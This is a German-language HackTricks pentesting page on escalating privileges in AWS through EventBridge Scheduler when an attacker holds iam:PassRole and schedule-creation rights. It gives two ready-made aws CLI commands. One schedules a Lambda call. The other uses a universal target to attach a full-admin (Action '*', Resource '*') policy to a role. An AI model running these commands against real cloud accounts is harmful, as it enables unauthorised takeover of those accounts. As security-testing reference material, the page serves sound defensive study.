Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md

2.3 KiB

AWS - EventBridge Scheduler Privesc

{{#include ../../../banners/hacktricks-training.md}}

EventBridge Scheduler

Weitere Informationen zum EventBridge Scheduler in:

{{#ref}} ../aws-services/eventbridgescheduler-enum.md {{#endref}}

iam:PassRole, (scheduler:CreateSchedule | scheduler:UpdateSchedule)

Ein Angreifer mit diesen Berechtigungen kann einen|einen Scheduler erstellen und die Berechtigungen der an ihn angehängten Scheduler-Rolle missbrauchen, um jede Aktion auszuführen.

Zum Beispiel könnten sie den Zeitplan so konfigurieren, dass er eine Lambda-Funktion aufruft, was eine vorgefertigte Aktion ist:

aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'

Neben den vorgefertigten Dienstaktionen können Sie universelle Ziele im EventBridge Scheduler verwenden, um eine Vielzahl von API-Operationen für viele AWS-Dienste aufzurufen. Universelle Ziele bieten die Flexibilität, nahezu jede API aufzurufen. Ein Beispiel könnte die Verwendung universeller Ziele sein, um "AdminAccessPolicy" hinzuzufügen, indem eine Rolle verwendet wird, die die Berechtigung "putRolePolicy" hat:

aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'

Referenzen

{{#include ../../../banners/hacktricks-training.md}}